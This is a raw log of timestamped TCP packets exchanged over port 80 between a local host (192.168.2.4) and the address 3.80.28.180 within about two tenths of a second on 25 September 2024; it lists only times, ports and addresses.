Sep 25, 2024 03:51:31.745055914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745066881 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745075941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745090008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745100021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745143890 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745251894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745265007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745276928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745289087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745300055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745312929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745322943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745337009 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745342970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745342970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745351076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745363951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745376110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745385885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745398045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745409012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745409012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745410919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745421886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745434999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745445013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745445967 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745471954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745476007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745493889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745807886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745820999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745831966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745842934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745855093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745867014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745879889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.745887995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745913982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.745939970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.769500017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769521952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769531965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769577980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769588947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769663095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769675970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769742012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.769783974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.769783974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.771292925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833203077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833214045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833226919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833313942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833324909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833333969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833345890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833355904 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833373070 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833447933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833461046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833479881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833518028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833575964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833585978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833595037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833606958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833626986 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833651066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833786011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833796978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833806038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833816051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833827019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833837986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833844900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833844900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833848953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833859921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833868980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.833894014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833894014 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.833914995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834005117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834069967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834079981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834192991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834202051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834213018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834218979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834245920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834273100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834356070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834367037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834408998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834440947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834450960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834460020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834470987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834486008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834527969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834527969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834656000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834666014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834676027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834678888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834825039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834834099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834844112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834846973 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834850073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834861994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834872007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.834904909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.834978104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835095882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835108042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835118055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835128069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835138083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835148096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835160017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835170984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835181952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835186005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835186005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835208893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835413933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835597992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835609913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835621119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835630894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835642099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835653067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835663080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835674047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835675955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835675955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835686922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835699081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835701942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835711002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835722923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835732937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835732937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835736990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835750103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835751057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835762978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835774899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835793018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835803032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.835817099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835817099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.835872889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836163044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836370945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836383104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836401939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836412907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836424112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836435080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836445093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836445093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836447954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836460114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836471081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836472034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836482048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836493015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836494923 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836504936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836517096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836527109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836538076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836544991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836544991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836551905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836564064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836575985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836576939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836589098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836600065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836611986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.836618900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836657047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.836657047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837352037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837363958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837374926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837387085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837399960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837413073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837424994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837426901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837436914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837445021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837450027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837461948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837472916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837476969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837476969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837483883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837496996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837508917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837519884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837522984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837522984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837532043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.837547064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.837600946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.838289976 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.860606909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860618114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860630035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860727072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860737085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860748053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860841036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860853910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.860882044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.860882044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.860919952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.924477100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924499989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924511909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924643040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924648046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.924655914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924669027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924681902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924710035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.924710035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.924715042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924804926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924817085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924827099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924859047 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.924973965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.924985886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925004005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925014973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925024986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925025940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925036907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925049067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925066948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925066948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925113916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925223112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925270081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925431967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925445080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925456047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925466061 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925468922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925479889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925489902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925493956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925506115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925519943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925529003 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925564051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925564051 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925651073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925662994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925704002 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925810099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925822973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925832987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925843954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925854921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925867081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925887108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925888062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925888062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925899029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925909996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925913095 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925923109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925935030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925945044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925956964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925968885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925977945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.925985098 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925986052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.925991058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926012993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926033020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926311016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926482916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926495075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926505089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926517010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926527023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926537991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926548004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926548958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926567078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926577091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926577091 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926578045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926589966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926601887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.926611900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926611900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.926655054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927062035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927073956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927083969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927094936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927105904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927117109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927122116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927129030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927139997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927154064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927166939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927166939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927166939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927181959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927192926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927203894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927212000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927212000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927217007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927231073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927242994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:31.927273035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:31.927273035 CEST	49730	80	192.168.2.4	3.80.28.180
